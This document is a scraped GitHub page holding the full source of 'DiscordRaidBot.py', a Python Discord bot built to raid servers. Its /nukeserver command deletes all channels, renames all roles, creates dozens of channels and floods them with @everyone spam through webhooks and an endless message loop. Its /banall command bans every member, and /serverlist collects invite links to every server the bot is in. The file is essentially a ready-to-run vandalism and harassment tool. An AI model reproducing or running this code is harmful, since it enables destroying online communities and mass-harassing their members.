-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathDiscordRaidBot.py
More file actions
234 lines (196 loc) · 8.76 KB
/
Copy pathDiscordRaidBot.py
File metadata and controls
234 lines (196 loc) · 8.76 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
import subprocess
import sys
import os
required_modules = ["discord", "requests", "asyncio"]
for module in required_modules:
try:
__import__(module)
except ImportError:
print(f"Installing missing module: {module}...")
subprocess.run([sys.executable, "-m", "pip", "install", module], check=True)
import discord
import requests
import asyncio
from discord import app_commands
from discord.ext import commands
def clear():
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
clear()
bot_token = input("Enter your bot token: ")
bot = commands.Bot(command_prefix="!", intents=discord.Intents.all())
@bot.event
async def on_ready():
print(f"Logged in as {bot.user}")
try:
synced = await bot.tree.sync()
print(f"Synced {len(synced)} commands.")
except Exception as e:
print(f"Sync error: {e}")
@bot.tree.command(name="serverlist", description="List the servers the bot is in and its permissions.")
async def serverlist(interaction: discord.Interaction):
embed = discord.Embed(
title="Server List",
description="Here is a list of servers I am in along with my permissions:",
color=discord.Color.from_rgb(255, 0, 0)
)
for guild in bot.guilds:
permissions = guild.me.guild_permissions
perms_list = [perm.replace("_", " ").title() for perm, value in permissions if value]
perms_text = ", ".join(perms_list) if perms_list else "No Permissions"
try:
invite = await guild.text_channels[0].create_invite(max_age=300, max_uses=1, unique=True)
invite_link = f"[Invite Link]({invite.url})"
except:
invite_link = "*No invite available*"
embed.add_field(
name=guild.name,
value=f"**Permissions:** {perms_text}\n{invite_link}",
inline=False
)
await interaction.response.send_message(embed=embed, ephemeral=True)
spam_message = ""
role_name = ""
@bot.tree.command(name="nukeserver", description="Deletes all channels, renames roles, and spams a message.")
@app_commands.describe(new_name="New server name", spam_message_input="Message to repeatedly send", channels_name="New channel name", new_role_name="New role name for all roles")
async def nukeserver(interaction: discord.Interaction, new_name: str, spam_message_input: str, channels_name: str, new_role_name: str):
global spam_message, role_name
spam_message = spam_message_input
role_name = new_role_name
await interaction.response.defer(ephemeral=True)
guild = interaction.guild
user = interaction.user
embed_server = discord.Embed(
title="Raid Started",
description=f"**Server:** {guild.name}\n**New Name:** `{new_name}`\n**Spam Message:** `{spam_message}`\n**New Role Name:** `{new_role_name}`",
color=discord.Color.from_rgb(255, 0, 0)
)
await interaction.followup.send(embed=embed_server, ephemeral=True)
embed_dm = discord.Embed(
title="Raid Started",
description=f"**Server:** `{guild.name}`\n**New Name:** `{new_name}`\n**Spam Message:** `{spam_message}`\n**New Role Name:** `{new_role_name}`",
color=discord.Color.from_rgb(255, 0, 0)
)
try:
await user.send(embed=embed_dm)
except discord.Forbidden:
print(f"[ERROR] Could not send DM to {user.name}.")
failed_roles = []
for role in guild.roles:
try:
await role.edit(name=new_role_name)
await asyncio.sleep(0.5)
except discord.Forbidden:
failed_roles.append(f"No permission to rename **{role.name}**.")
except discord.HTTPException as e:
failed_roles.append(f"Could not rename **{role.name}**: `{e}`")
if failed_roles:
embed_roles_error = discord.Embed(title="Role Rename Errors", description="\n".join(failed_roles), color=discord.Color.from_rgb(255, 0, 0))
try:
await user.send(embed=embed_roles_error)
except discord.Forbidden:
print(f"[ERROR] Could not send DM to {user.name}.")
failed_channels = []
for channel in guild.channels:
try:
await channel.delete()
await asyncio.sleep(0.2)
except discord.HTTPException as e:
if e.code == 50074:
failed_channels.append(f"Cannot delete **{channel.name}** (Community channel).")
else:
failed_channels.append(f"Could not delete **{channel.name}**: `{e}`")
except discord.Forbidden:
failed_channels.append(f"No permission to delete **{channel.name}**.")
if failed_channels:
embed_error = discord.Embed(title="Deletion Errors", description="\n".join(failed_channels), color=discord.Color.from_rgb(255, 0, 0))
try:
await user.send(embed=embed_error)
except discord.Forbidden:
print(f"[ERROR] Could not send DM to {user.name}.")
tasks = [guild.create_text_channel(channels_name) for _ in range(35)]
new_channels = await asyncio.gather(*tasks)
for channel in new_channels:
num_webhooks = 5
for _ in range(num_webhooks):
webhook = await channel.create_webhook(name=f"GG{_}")
for _ in range(2):
await webhook.send(f"@everyone {spam_message}")
await asyncio.sleep(0.2)
@bot.event
async def on_guild_channel_create(channel):
global spam_message
while True:
await channel.send(f"@everyone {spam_message}")
await asyncio.sleep(0.2)
@bot.tree.command(name="banall", description="Ban all members in the server.")
async def banall(interaction: discord.Interaction, message: str):
try:
guild = interaction.guild
skipped_members = []
banned_count = 0
if not guild:
return await interaction.user.send(embed=discord.Embed(
title="Error",
description="Could not retrieve the server.",
color=discord.Color.from_rgb(255, 0, 0)
))
if not interaction.user.guild_permissions.ban_members:
return await interaction.user.send(embed=discord.Embed(
title="Error",
description="You do not have permission to ban members.",
color=discord.Color.from_rgb(255, 0, 0)
))
if not guild.me.guild_permissions.ban_members:
return await interaction.user.send(embed=discord.Embed(
title="Error",
description="I do not have permission to ban members.",
color=discord.Color.from_rgb(255, 0, 0)
))
await interaction.response.send_message(embed=discord.Embed(
title="Ban Process Started",
description="Check your DM for info.",
color=discord.Color.from_rgb(255, 0, 0)
), ephemeral=True)
for member in guild.members:
if member == interaction.user or member == bot.user:
continue
try:
embed_dm = discord.Embed(
title="Ban Notice",
description="You have been banned from the server.",
color=discord.Color.from_rgb(255, 0, 0)
)
await member.send(embed=embed_dm)
await member.send(f"**Reason:** {message}")
except discord.HTTPException:
pass
try:
await member.ban(reason=message)
banned_count += 1
embed_ban_confirm = discord.Embed(
title="Ban Executed",
description=f"**User:** {member.name}#{member.discriminator}",
color=discord.Color.from_rgb(255, 0, 0)
)
await interaction.user.send(embed=embed_ban_confirm)
except discord.Forbidden:
skipped_members.append(f"Could not ban {member.name}")
description = f"**Total Banned:** {banned_count}"
if skipped_members:
description += "\n\n**Skipped Members:**\n" + "\n".join(skipped_members)
await interaction.user.send(embed=discord.Embed(
title="Ban Process Completed",
description=description,
color=discord.Color.from_rgb(255, 0, 0)
))
except discord.DiscordException as e:
await interaction.user.send(embed=discord.Embed(
title="Error",
description="An error occurred while banning members.",
color=discord.Color.from_rgb(255, 0, 0)
))
await interaction.user.send(f"```{e}```")
bot.run(bot_token)